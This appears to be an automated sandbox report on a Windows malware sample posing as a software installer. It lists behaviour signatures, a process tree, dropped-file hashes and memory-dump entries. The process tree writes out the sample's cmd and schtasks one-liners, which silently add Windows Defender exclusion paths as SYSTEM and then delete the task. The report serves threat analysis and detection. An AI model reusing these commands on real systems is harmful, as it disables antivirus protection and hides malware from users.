Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/08/2026, 04:25

General

  • Target
    insoft_v10.0.03.exe
  • Size 35.0MB
  • Sample260816-e2f95acr8y
  • SHA256 17c0d49a8a9c7a4b9b8f787bf9826145d5ba97347f6efc549cab522d00b35fb0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 8 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.03.exe
    "C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.03.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4176
  • C:\Users\Public\bELlus\N6slnT.exe
    C:\Users\Public\bELlus\N6slnT.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1800
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bELlus\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4256
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bELlus\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3784
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3184
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2616
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2680
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4456
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2984
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4548
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3196
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4772
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4140
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3324
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1736
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3796
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4868
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2312
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4180
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2900
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:764
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2784
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bELlus" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1060
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bELlus" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4900
                      • C:\Users\Public\bELlus\N6slnT.exe
                        "C:\Users\Public\bELlus\N6slnT.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Adds Run key to start application
                        • Drops file in System32 directory
                        PID:4504
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4248
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:876
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1496
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1364
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3776

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              N6slnT.exe

                              • Path C:\Users\Public\bELlus\N6slnT.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\bELlus\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 2e0422c8d7fa2f74264b1c290ac3d676ad9cc4cc9f80f80ff29b949dfc14e914
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\bELlus\adoresd.dat
                              • Size 4.7MB
                              • SHA256 aa7409005a2cbdbb4cf9b6d2f9d883eb51477bf959ace01b3dc74db057914858
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\bELlus\msadox.tb
                              • Size 8KB
                              • SHA256 9490a4f07aa861545522577ceca3e8a40cbcd10dd8c8c841093e8aa643f679d2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              SiPolicy.p7b

                              • Path C:\Windows\System32\CodeIntegrity\SiPolicy.p7b
                              • Size 24KB
                              • SHA256 b3f17065ed63b17ffef175f2979907d8eef69a76ba4cbd1d9785035a0b1f0a10
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1800-555-0x00000152BBF20000-0x00000152BBFAA000-memory.dmp

                              memory/1800-562-0x00000152BB350000-0x00000152BBBD7000-memory.dmp

                              memory/1800-535-0x00000152BB350000-0x00000152BBBD7000-memory.dmp

                              memory/1800-530-0x00007FF803280000-0x00007FF80379E000-memory.dmp

                              memory/1800-529-0x00007FF822050000-0x00007FF822052000-memory.dmp

                              memory/1800-596-0x00000152BB350000-0x00000152BBBD7000-memory.dmp

                              memory/1800-564-0x00000152BB350000-0x00000152BBBD7000-memory.dmp

                              memory/1800-538-0x00000152BB350000-0x00000152BBBD7000-memory.dmp

                              memory/1800-537-0x00007FF822060000-0x00007FF822062000-memory.dmp

                              memory/1800-543-0x00000152BB350000-0x00000152BBBD7000-memory.dmp

                              memory/1800-544-0x00000152BB350000-0x00000152BBBD7000-memory.dmp

                              memory/1800-545-0x00000152BB350000-0x00000152BBBD7000-memory.dmp

                              memory/1800-542-0x00000152BB350000-0x00000152BBBD7000-memory.dmp

                              memory/1800-549-0x00000152BB350000-0x00000152BBBD7000-memory.dmp

                              memory/1800-558-0x00000152BBF20000-0x00000152BBFAA000-memory.dmp

                              memory/1800-557-0x00000152BBF20000-0x00000152BBFAA000-memory.dmp

                              memory/1800-556-0x00000152BBF20000-0x00000152BBFAA000-memory.dmp

                              memory/1800-554-0x00000152BA8E0000-0x00000152BA92E000-memory.dmp

                              memory/4176-0-0x00000000005D0000-0x00000000005DE000-memory.dmp

                              memory/4176-523-0x00000000005D0000-0x00000000005DE000-memory.dmp

                              memory/4176-503-0x00007FF816DE0000-0x00007FF816DF0000-memory.dmp

                              memory/4176-1-0x0000000004250000-0x000000000425C000-memory.dmp

                              memory/4176-524-0x00007FF816DE0000-0x00007FF816DF0000-memory.dmp

                              memory/4504-594-0x0000021C784C0000-0x0000021C78D47000-memory.dmp

                              memory/4504-599-0x0000021C784C0000-0x0000021C78D47000-memory.dmp

                              memory/4504-592-0x0000021C784C0000-0x0000021C78D47000-memory.dmp

                              memory/4504-593-0x0000021C784C0000-0x0000021C78D47000-memory.dmp

                              memory/4504-591-0x0000021C784C0000-0x0000021C78D47000-memory.dmp

                              memory/4504-587-0x0000021C784C0000-0x0000021C78D47000-memory.dmp

                              memory/4504-581-0x0000021C784C0000-0x0000021C78D47000-memory.dmp

                              memory/4504-586-0x00007FF822060000-0x00007FF822062000-memory.dmp

                              memory/4504-605-0x0000021C784C0000-0x0000021C78D47000-memory.dmp

                              memory/4504-580-0x00007FF803280000-0x00007FF80379E000-memory.dmp

                              memory/4504-610-0x0000021C78E70000-0x0000021C78EFA000-memory.dmp

                              memory/4504-609-0x0000021C78E70000-0x0000021C78EFA000-memory.dmp

                              memory/4504-608-0x0000021C78E70000-0x0000021C78EFA000-memory.dmp

                              memory/4504-607-0x0000021C78E70000-0x0000021C78EFA000-memory.dmp

                              memory/4504-616-0x0000021C784C0000-0x0000021C78D47000-memory.dmp

                              memory/4504-615-0x0000021C784C0000-0x0000021C78D47000-memory.dmp